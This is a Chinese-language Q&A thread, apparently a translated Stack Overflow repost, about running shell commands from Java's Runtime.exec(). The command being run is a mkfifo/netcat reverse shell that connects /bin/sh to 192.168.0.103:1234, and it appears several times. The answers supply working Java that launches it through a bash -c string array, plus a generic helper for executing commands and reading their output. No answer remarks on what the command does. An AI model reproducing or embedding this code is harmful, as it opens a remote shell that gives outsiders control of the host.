[英]java Runtime.getRuntime().exec() unable to run commands
我需要從Runtime.getRuntime()。exec()內部運行以下命令:
rm /tmp/backpipe; mkfifo /tmp/backpipe && /bin/sh 0</tmp/backpipe | nc 192.168.0.103 1234 1>/tmp/backpipe
我應該以哪種格式將其傳遞給運行該行的java程序:
Process localProcess = Runtime.getRuntime().exec(myStr);
我上面要執行的整個命令在哪里,myStr在哪里?
我已經嘗試過的事情:
[\"/bin/bash\",\"-c\",\"rm /tmp/backpipe;/usr/bin/mkfifo /tmp/backpipe && /bin/sh 0</tmp/backpipe | nc 192.168.0.103 1234 1>/tmp/backpipe\"] as String[]"
給我錯誤:
無法運行程序“ [“ / bin / bash”,“-c”,“ / usr / bin / mkfifo”:錯誤= 2,沒有此類文件或目錄
如果我只是從終端運行命令:
rm /tmp/backpipe; mkfifo /tmp/backpipe && /bin/sh 0</tmp/backpipe | nc 192.168.0.103 1234 1>/tmp/backpipe
它運行得像個符咒,但不是通過runtime.exec()運行的。
嘗試使用ProcessBuilder
而不是Runtime
。
試試這個:
Process p = new ProcessBuilder().command("bash","-c",cmd).start();
cmd
是保存shell命令的變量。
更新:
String[] cmd = {"bash","-c", "rm -f /tmp/backpipe; mkfifo /tmp/backpipe && /bin/sh 0</tmp/backpipe | nc 192.168.0.103 1234 1>/tmp/backpipe"}; // type last element your command
Process p = Runtime.getRuntime().exec(cmd);
這是有效的Java代碼,它說明了調用Runtime.getRuntime()。exec()的更多方面,例如等待過程完成以及捕獲輸出和錯誤流:
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.BufferedReader;
class Test {
public static void dump(InputStream is) {
BufferedReader reader = new BufferedReader(new InputStreamReader(is));
String line;
try {
while ((line = reader.readLine()) != null) {
System.out.println(line);
}
} catch (Exception e) {
System.out.println("read line threw exception");
}
}
public static void run(String cmd) {
try {
Process p = Runtime.getRuntime().exec(cmd);
p.waitFor();
int status = p.exitValue();
System.out.println("Program terminated with exit status " + status);
if (status != 0) {
dump(p.getErrorStream());
}
else {
dump(p.getInputStream());
}
} catch (Exception e) {
System.out.println("Caught exception");
}
}
};
聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.